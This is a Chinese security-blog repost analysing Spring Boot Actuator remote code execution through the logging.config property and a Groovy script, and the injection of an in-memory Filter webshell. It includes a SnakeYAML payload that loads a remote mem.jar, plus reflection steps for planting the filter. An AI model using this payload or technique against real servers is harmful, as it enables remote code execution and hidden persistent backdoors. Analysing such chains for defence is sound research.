SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入

admin 2022年6月9日09:57:19安全文章评论12 views3534字阅读11分46秒阅读模式

Spring boot最经典的漏洞莫过于由于配置不当导致Actuator的相关路由暴露从而导致信息泄露以及各种远程命令执行漏洞。根据spingboot官方文档,以spring-boot 2.1.10版本为例,对于web应用程序来说,以下端口默认是开启的。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
具体开放端口可通过management.endpoints.web.exposure.include=进行配置。一些公开的常用利用链包括spring cloud SnakeYAML RCE,通过设置 spring.cloud.bootstrap.location属性加载外部恶意 yml 文件jolokia logback进行jndi利用。在整理Springboot关于Actuator的利用时,注意到groovy脚本执行的利用方式,以下对该漏洞利用原理进行分析。

0x00 设置logging.config属性执行groovy脚本

根据springboot相关文档说明:可通过Spring 环境属性“logging.config”进一步设置配置文件的位置。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
同样首先通过/actuator/env接口修改logging.config的属性值。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
然后通过/actuator/restart接口重启应用程序,使之重新加载修改到环境属性中的“logging.config”值,
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
关键代码org.springframework.boot.context.logging.LoggingApplicationListener#initialize()方法中。如下图,通过this.initializeSystem(environment, this.loggingSystem, this.logFile);初始化Springboot应用程序的logging system。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
此时environment包含
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
跟进initializeSystem()方法到org.springframework.boot.context.logging.LoggingApplicationListener#initializeSystem()方法,从environment中取出logging.config属性,进入system.initialize(initializationContext, logConfig, logFile);
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
下面流程经org.springframework.boot.logging.logback.LogbackLoggingSystem#initialize()->org.springframework.boot.logging.logback.LogbackLoggingSystem#loadConfiguration()->org.springframework.boot.logging.logback.LogbackLoggingSystem#configureByResourceUrl()
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
url,即设置的logging.config值不是xml结尾的话,进入ch.qos.logback.classic.util.ContextInitializer#configureByResource()
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
logging.config属性值是以groovy结尾,进入GafferUtil.runGafferConfiguratorOn(loggerContext, this, url);。跟踪下来最终触发groovy.lang.GroovyShell#parse(java.lang.String);其中参数scriptText是从logging.config值中的url——http://127.0.0.1:8989/test.groovy中请求的groovy脚本内容
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
调用链如下图:
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
groovy脚本成功执行:
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
但是需要注意的是!该漏洞利用需要重启目标应用程序,可能会产生不可预料的破坏,尤其当设置的logging.config值所指向的groovy脚本不存在,或者groovy脚本中存在语法错误时,目标应用程序会不正常的退出。总之该漏洞慎用
image.png

0x01 利用spring cloud SnakeYAML利用注入Springboot内存马

对于Springboot来说,不能通过上传文件getshell,因此注入内存马技术对springboot来说很重要。对于springboot来说,根据内存马类型可大致分为filer型Interceptor型controller型。由于springboot在处理过程中先后顺序的差别(先经filter处理,然后到controller处理,再到Interceptor拦截器处理)。由于对权限控制的考虑,优先注入Filter型内存马。
Springboot内存吗注入思路:首先获取应用上下文ApplicationContext,对于内置服务器是tomcat的springboot应用来说,应用上下文是org.apache.catalina.core.ApplicationContextFacade类。通过org.apache.catalina.core.ApplicationContextFacadeaddFilter()方法注入自定义Filter。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
因此重点是如何获取应用上下文呢?对于tomcat来说,可以通过request对象——org.apache.catalina.connector.Request类的getServletContext()方法获取。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
因此现在又把目光放在如何获取request对象。一般从线程入手。通过调试,可通过Thread.currentThread().threadLocals.table获取线程中与request对象相关的对象,如下图所示,这里通过Thread.currentThread().threadLocals.table[12]value可获取request对象。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
因此,进一步可通过((ServletRequestAttributes) Thread.currentThread().threadLocals.table[12].value).request.getServletContext();获取上下文环境,进而利用该上下文对象org.apache.catalina.core.ApplicationContextFacade调用addFilter()完成内存马注入。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
细节方面,在org.apache.catalina.core.ApplicationContext#addFilter(java.lang.String, java.lang.String, javax.servlet.Filter)中,需满足this.context.getState()值为LifecycleState.STARTING_PREP,否则不能继续向下注入Filter。此操作可通过反射进行设置。
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
完成addFilter()操作后,通过org.apache.catalina.core.ApplicationFilterRegistrationaddMappingForServletNames()方法为该Filter设置路由。最后,别忘了再通过反射将该contextstate属性恢复原值。由此完成Springboot之Filter型内存马的注入。
这里需要注意的是,在一些场景下,比如通过jndi利用时,有可能当前线程Thread.currentThread()并不是http类的线程,因此需要遍历所有线程,在里面找与http相关的符合需要的线程。
对本例通过spring cloud SnakeYAML注入Filter内存马效果如下:
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入
mem.yml文件内容为:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8989/mem.jar"]
  ]]
]

注入内存马的代码在mem.jar中。如何制作mem.jar包,请参考https://github.com/artsploit/yaml-payload
内存马注入后效果如下:
image.png

总结

关于Spring Boot Actuator相关利用方式有很多,但都跟配置相关,如大部分情况需要开启refresh接口,甚至在利用restart接口时更要慎重,否则利用不慎则会对目标应用异常退出。另外,根据目标应用实际暴露的endpoint以及mbeans,可能存在其他利用方式。

FROM:tttang . com

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月9日09:57:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入 http://cn-sec.com/archives/1097775.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: